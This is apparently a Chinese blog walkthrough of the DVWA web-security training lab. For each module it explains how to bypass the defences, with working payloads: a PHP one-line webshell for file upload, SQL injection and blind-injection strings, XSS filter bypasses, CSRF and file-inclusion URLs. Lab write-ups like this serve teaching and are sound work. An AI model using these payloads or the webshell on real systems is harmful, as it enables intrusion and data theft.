文章目录
这篇文章很详细: 点我直达
1. 安装
- phpstudy安装包
- DVWA
- 报错见上面的博客
2.brute force
2.1 low
直接爆破
设置payload
输入username:admin
password:password
2.2 medium
与low级别不同的是,这里有一个:
sleep函数会在爆破不成功时让程序停2s,所以会比较慢,但是还是可以做的
2.3 high
这一水平下,每次都需要使用token来验证,所以直接爆破没有用。所以构造payload时需要每次动态更新。
首先抓包,并构造需要爆破的地方:
第一处的payload很好构造,就不说了
第二处需要构造token
在settings下,我们需要在grep-extract下点add,界面如下:
点击fetch或refetch response,选中token部分,记得先复制一下。
回到payloads下,设置类型为recursive grep,我们需要将刚刚复制的token粘贴到initial payload for first request中
到这里并没有结束,还需要设置为1个线程。但是,新版的bp在哪里找呢?
按照图示的设置进行修改。
点击开始
得到结果,密码为password
3. Command Injection
3.1 Low
提交后,发现乱码
解决:
"./DVWA\DVWA-master\dvwa\includes\dvwaPage.inc.php"修改这个文件中所有的“charset=utf-8”为“charset=gb2312”,然后刷新即可
3.2 Medium
可以看到,代码中过滤了;和&&,但是我们依然可以注入:
3.3 High
这一模式下,过滤的字符变多了。但是仔细观察可以发现,虽然把"| “过滤了,但是我们可以用” |"来呀。所以,有:
4. CSRF
有关CSRF的介绍,见转载
4.1 Low
我们输入新密码和确认密码,查看地址栏:
vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
进入另一个页面,在地址栏输入这个地址,
可以看到,直接跳转到了密码成功的页面了,密码已经被修改
4.2 Medium
在Low的基础上,添加了referer验证,我们需要使用bp抓包,只要包含127.0.0.1就行了
4.3 High
在Medium的基础上,有加入了token验证
5. File Inclusion
5.1 Low
没有任何的过滤,直接
5.2 Medium
可以看到,直接用str_replace进行了过滤,但是这种方法有一种弊端,只能过滤一次,所以可以使用双写绕过过滤
http://localhost:8789/vulnerabilities/fi/?page=htthttp://p://127.0.0.1:8789/phpinfo.php
5.3 High
分析代码,发现page必须是file开头的或者include.php。我们不要include.php,所以就必须构造一个以file开头的page,联想到使用file协议
http://localhost:8789/vulnerabilities/fi/?page=
file:///e:\demo.php
我查看的是一句话木马,结果已经显示出来
6. File Upload
6.1 Low
没有任何防护,可以随便传
选择一个php文件,上传。文件内容如下:
<?php @eval($_POST['cmd']);?>
使用蚁剑或中国菜刀连接
注意,上传的位置一定要搞清楚,不然连不上的
连接成功后,打开shell就可以进行任何操作啦
6.2 Medium
这里应该是用content-type来检查文件类型。所以直接把它改成image/jpeg就可以上传了
6.3 High
这里会读取文件的最后一个.来限制文件名。所以一种思路是构造图片马
7. Insecure CAPCHA
7.1 Low
只要传入的step为2,就可以绕过验证码了
7.2 Medium
这里增加了检测是否做了第一步,但是研究代码发现,只要再擦混入一个passed_captcha就可以了,所以跟第一步没啥区别
7.3 High
发现只要满足验证码正确或者下面的两个参数对就可以了。所以可以直接bp抓包修改两个参数就行了
8. SQL Injection
手工注入一般步骤:
- 判断是否存在注入,若存在注入,判断是字符型还是数字型
- 查找字段数,使用
1' order by 2#
- 查找注入点,使用如
1' union select 1,2#
- 查库名,
-1' union select 1,database()#
- 查表名,
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查列名,
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='demo'#
- 爆flag,·-1’ union select flag from demo#·
8.1 Low
8.2 Medium
这里不能自己填了,只能选,但是可以用bp抓包改包来注入
8.3 High
避免了自动化sql注入攻击,但是仍然可以用bp抓包
9. SQL Injection(Blind)
9.1 Low
输入1,发现没有回显,只有是否存在,所以要用盲注
1' and 1=1#
有回显
1' and 1=2#
无回显
判断是存在字符注入
1' and length(database())=4#
发现有回显了,就说明数据库名是4个字符
接下来猜解每个字符,需要一个一个来做
1' and ascii(substr(databse(),1,1)) > 97
需要采用二分法
接下来猜解表的个数
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
猜解表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
猜解表名,需要一个一个比较,比较繁琐
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
猜解字段个数
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #
猜解字段长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #
最后猜解字段字符,也需要一个一个猜
也可以使用时间盲注
1' and sleep(4)#
1' if(length(database()=1),sleep(5),1)
9.2 Medium
直接抓包解决
9.3 High
代码中添加了sleep(seconds),基于时间盲注的被干扰了,而且添加了limit 1,只能返回一个结果。但是可以用#注释掉
哎呀,太复杂啦,不如直接用sqlmap方便
10. Weak Session IDs
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
10.1 Low
我们第一次使用bp抓包
再用bp抓包,发现dvwaSession变了
现在我们改变参数,继续访问第一次访问的页面
发现可以直接登录。说明只要知道了PHPSESSID就可以绕过密码直接访问了
10.2 Medium
审计一下代码,发现这是基于时间戳来设置sessionid的,只要把时间戳转换一下就可以了
10.3 High
只是在Low的基础上,做了MD5,所以还是没啥防护
11. XSS(DOM)
11.1 Low
没有任何防护
DOM树原本是这样的:
构造payload,
http://localhost:8789/vulnerabilities/xss_d/?default=<script>alert(666)</script>
查看DOM树:
发现被存储到DOM树里面了,以后每次刷新,都会执行一下这个脚本
11.2 Medium
这里先检测default参数是否存在和是否为空,并利用传入的default来赋值。接着过滤了script,我们可以使用
<img src=1 onerror=alert(666)>
来完成绕过
构造payload:
http://localhost:8789/vulnerabilities/xss_d/?default=<img src=1 onerror=alert(666)>
发现并没有显示出弹窗
检查代码
发现我们传入的值被插入到value中了。所以我们考虑闭合option
重新构造payload:
11.3 High
12. XSS(Reflected)
12.1 Low
没有过滤,直接构造payload
<script>alert(666)</script>
12.2 Medium
审计代码,发现过滤了script,但是是用str_replace过滤的。这种方式有一个缺陷,我们可以用大小写绕过和双写绕过。
我们这里使用大小写绕过
构造payload:
<sCript>alert(666)</sCript>
12.3 High
这里用正则表达式过滤了,双写和大小写都能过滤了。那就不能用script了,所以用
<img src=1 onerror=alert(666)>
13. XSS(Stored)
13.1 Low
没有过滤,直接写script语句就行了
13.2 Medium
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ’ 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
法1:双写绕过
法2:大小写绕过
法3:换payload
13.3 High
过滤了scritp,但是还是可以用img或iframe等标签
终于结束了,现在DVWA好像又有新的了,后面可能会更新罢。。。